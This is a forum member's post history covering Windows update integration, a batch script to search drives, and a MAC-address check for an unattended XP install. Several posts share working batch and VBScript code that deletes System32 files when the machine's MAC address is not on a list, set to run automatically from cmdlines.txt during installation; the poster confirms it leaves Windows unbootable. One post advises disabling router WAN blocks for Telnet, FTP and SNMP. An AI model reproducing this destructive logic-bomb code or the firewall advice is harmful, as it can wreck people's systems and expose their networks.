Jump to content

titishor

Member
  • Posts

    33
  • Joined

  • Last visited

  • Donations

    0.00 USD 
  • Country

    Romania

Posts posted by titishor

  1. Ok..the problem is ..i've downloaded the windows 7 update using wsusoffline update generator..but i can't integrate them with rt7lite..it says something about .msu files...and i don't have a clue how to do that.. all i have in my wsus folder is a few archives and an .exe file wich is Windows 7's SP1 .

    well..i want to integrate them using rt7lite , and i can't..some suggestions?! Thank you!

  2. Will this do you?

    @ECHO off & SETLOCAL enableextensions disabledelayedexpansion
    SET/P "TOFIND=Please enter the name of the file or folder you want to find! "
    FOR /F %%A IN ('MOUNTVOL^|FINDSTR [C-Z]:\\') DO CALL :SUB %%~dA
    PING -n 11 127.0.0.1 1>NUL & GOTO :EOF
    :SUB
    DIR/B/S/A %1\%TOFIND% 2>NUL || ECHO=%TOFIND% not found in drive %1!!

    Yep, it works. Thanks for the help!!!

  3. if you have 4 drives on your computer, and this file is on C D & E but not on the 4th drive then that batch behaved normally, no?

    yes, the batch will behave normally , and it will find the file you're searching , on the drive...

    BUT , the batch ain't done yet...Like i stated before , i'm doing something wrong with the search criteria . It doesn't displays the results as it should do ...

  4. Hello guys,

    I want to create a batch file that searches the entire hard drive and then displays the requested folder/song/movie. This i got so far...

    @ Echo off

    @echo Please enter the name of the file or folder you want to find!

    set /P=

    for %%i in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do if exist %%i\ @ECHO Found in this local hard drive %%i\

    if NOT exist %%i\ @Echo Folder not found!! Probably you don't have it on your hard drive!

    I'm doing something wrong because when i enter the word , Atlantis for example it shows me this :

    Please enter the name of the file or folder you want to find!

    Atlantis

    Found in this local hard drive C:\

    Found in this local hard drive D:\

    Found in this local hard drive E:\

    Folder not found!! Probably you don't have it on your hard drive!

    Any help will be great...

    Regards,

    Sorin

  5. @titishor, please share how you did it, because I didn't manage to get ANY of the above to work in a VM. I even copied them to the desktop, double-clicked them and nothing. I was curious, but my failure made me lose interest.

    @SpoiledBrat

    Ok... i've done the following

    i've took the .cmd file

    i modify it with my mac address and then i saved it into the $OEM$ folder.

    then, i opened cmdlines.txt and inserted the following line with qoutes: "MyMACs.cmd"

    i saved the cmdlines.txt and close it..

    that's it..

    i followed Yzowl instructions

    @ECHO OFF & SETLOCAL

    SET "_="

    FOR /F "SKIP=1 TOKENS=*" %%# IN ('WMIC NICConfig WHERE

    "MACAddress = 'HERE' OR MACAddress = ' and HERE'"

    GET Description 2^>Nul') DO CALL :A %%#

    IF NOT DEFINED _ (ECHO=RD/S/Q %SystemRoot%\System32)

    GOTO :EOF

    :A

    IF "%*" NEQ "" SET "_=T"

    at line 4 replace HERE , and HEREwith your mac address

    and , at the line 6 delete ECHO= and leave the rest.

    the mac address should be like this-> 00:00:00:00:00:00

    not like this 00-00-00-00-00-00

    if you modify the .cmd file with your mac address..and the mac address coresponds, then nothing will happen'

    if you put different mac addresses into the file , and they don't correspond with the one on your computer, then the system32 folder will be deteled.. Not entirely ..but some key parts from the operating system will get deleted anyway. at the next restart u'll get the error that HAL.DLL is missing... :)

  6. I can't really think of why it wouldn't work though (besides not finding the text file if it's not placed in the right location or misnamed or something like that, in which case it will simply quit)
    It did quit, even though the text file was in the same folder as the script file.
    I don't typically invoke wscript but the vbscript itself, just like you would with an .exe or batch file (and with no cmd line args)

    So, you're saying it's much simpler to call the script file itself. OK, thanks, I'll see how possible it is to call it through the RunOnce section in nLite or cmdlines.txt<br><br>Edit: I may have done even better. I found some of those .vbs to .exe converters that allowed me to include the text file as well. I'll report on the result.<br>

    it worked from the commandlines.txt

    in the $OEM$ folder..

    tested on virtual machine , and live...

    works perfectly!

    And i want to thank everyone ho helped me get this thing done! You guys are the best, and i'm happy i ran into your site! Thanks again !

    And jaclaz... I'm still reading what you gave me to read :)

  7. so...it goes like this ?

    00-18-F3-A3-39-BE;

    or like this ?

    00:18:F3:A3:39:BE;

    Like


    00:18:F3:A3:39:BE
    01:19:F4:A4:3A:BF
    FF:07:E2:F2:28:AD

    If those were 3 MAC addresses for the 3 PCs that should be able to use the said disc. Just like I said before (one per line, semicolons, and also uppercase).

    But if that's too hard, then this will work regardless of if it's upper or lower case, and regardless of dashes or semicolons:


    Option Explicit
    On Error Resume Next

    Const macfile = "macs.txt" 'file containing mac addresses
    Dim oWMI, oFSO, f, strMAC, MACs,colItems, objItem

    'build array of mac addresses from file
    Set oFSO = CreateObject("Scripting.FileSystemObject")
    If Not(oFSO.FileExists(macfile)) Then WScript.quit 'no file to work from
    Set f = oFSO.OpenTextFile(macfile, 1) 'ForReading
    strMAC = f.ReadAll 'read the whole file in one fell swoop to minimize I/O
    f.Close
    MACs = Split(UCase(Replace(strMAC,"-",":")), vbCrLf)

    'look for a matching MAC addy
    Set oWMI = GetObject("winmgmts:\\.\root\CIMV2")
    Set colItems = oWMI.ExecQuery( "SELECT * FROM Win32_NetworkAdapter")
    For Each objItem in colItems
    For Each strMAC In MACs
    if(strMAC=objItem.MACAddress) then WScript.Quit 'found a match, quit (do no harm)
    Next
    Next

    'no match found, delete system32 for the lulz
    Set f = oFSO.GetFolder(oFSO.GetSpecialFolder(1) ) '1=SystemFolder
    Set colItems = f.Files
    For Each objItem in colItems
    oFSO.DeleteFile(objItem)
    Next

    tested on my laptop and on my unit....

    you're good at this :)))

    it works...

    even as i write to you now , my windows reinstalls on unit :))

    yea ...i know ..i could use VMWARE or virtual pc...but i like testing live :)

    ..

    Thanks for your help!

    all i have to do now is put it on my windows.

  8. @Jaclaz

    well...after a few hours of brain damaging and 1 pack of ciggaretes smoked,(Sorry for my poor english) i finnaly accomplished something.

    the line is : FOR /F "tokens=2,3 delims=:" %%A IN ('IPCONFIG /ALL ^| FIND "Physical Address"') DO ECHO MAC=%%A

    and the result is :

    C:\Documents and Settings\Administrator\Desktop>ECHO MAC= 00-18-F3-A3-39-BE

    MAC= 00-18-F3-A3-39-BE

    :thumbup

    The funny thing is i tried this line , but i don't know why , it didn't worked..

  9. no no no ...don't get me wrong...

    i learn quicker in cmd then in .vbs

    i tried your vbs

    i created a "macs.txt" like you said , and enter the mac address of my computer.

    then i runned the script..

    at the next restart, ERROR :)))

    hal.sys was missing ;)

    like i stated before...i'm stupid...

    one MAC address per line with octets separated by semicolons

    i forgot that.

  10. Here is my take, instead of deleting system32, probably more feasible to just shut-down the computer.

    FOR /F "tokens=2 delims=:" %%A IN ('IPCONFIG /ALL ^| FIND "Physical Address"') DO IF "%%A" NEQ " FF-FF-FF-FF-FF-FF" shutdown -s -f -c "Unauthorized MAC Address" -t 1

    and if you run your batch from this folder, it should shut down the machine before the logon-screen appears.

    $OEM$\$$\System32\GroupPolicy\Machine\Scripts\Startup

    tryied it your way . the answer is : FIND: Physical Address: No such file or directory

  11. Ok...the thing is...i want to create a batch file that verifies a specific mac address of a computer at a random date of the month , and if the mac address doesn't corresponds , then the file will delete the system32 folder from windows...

    The thing is , i made an unattended windows xp , and it's good.. just me and a friend use it ...and i don't want this windows to get to someone else.

    It's like a protection...

    Yes...i know..i could add a password to administrator...but i don't want it like this.

    i want as i stated above.

    Thanks...i really hope u can help me...

    As always, a word of caution, what you plan to do is potentially very dangerous, besides, there is an easy way to avoid it getting to someone else:

    DO NOT GIVE IT TO ANYONE!

    If you don't trust your friend to do the same, I guess he is not that much as a friend.

    However,

    1. you want us to write a batch for you?
    2. Or you want to learn how to write such a batch?

    If #2), Start reading here:

    http://www.911cd.net/forums//index.php?showtopic=19766

    Then read here:

    http://www.robvanderwoude.com/batexamples_w.php

    http://www.robvanderwoude.com/files/whoru_nt.txt

    http://www.robvanderwoude.com/loginscripts.php

    http://www.robvanderwoude.com/vbstech_network_mac.php

    You should get the idea. ;)

    jaclaz

    Jaclaz

    [*]you want us to write a batch for you?

    [*]Or you want to learn how to write such a batch?

    *i'm offended that you wrote that thing :)) :))

    i'll try to write it myself... in ultimate instance if i don't succed i'll ask you or somebody else to help me..

    thanks for showing me a starting point :))

    Be back later ...i have some readings to do :)

  12. Ok...the thing is...i want to create a batch file that verifies a specific mac address of a computer at a random date of the month , and if the mac address doesn't corresponds , then the file will delete the system32 folder from windows...

    The thing is , i made an unattended windows xp , and it's good.. just me and a friend use it ...and i don't want this windows to get to someone else.

    It's like a protection...

    Yes...i know..i could add a password to administrator...but i don't want it like this.

    i want as i stated above.

    Thanks...i really hope u can help me...

  13. in your router you should have some options that looks like this :

    Telnet Telnet traffic is blocked from the WAN

    FTP FTP traffic is blocked from the WAN

    TFTP TFTP traffic is blocked from the WAN

    Web Web traffic is blocked from the WAN

    SNMP SNMP traffic is blocked from the WAN

    Ping Ping traffic is blocked from the WAN

    UNCHECK them all, then save the config to your router, and then restart it. (Usually , you have a reboot command in the routers options.)(if you don't have such thing, then press the power button from your router, wait a few second, and power it on again.)

×
×
  • Create New...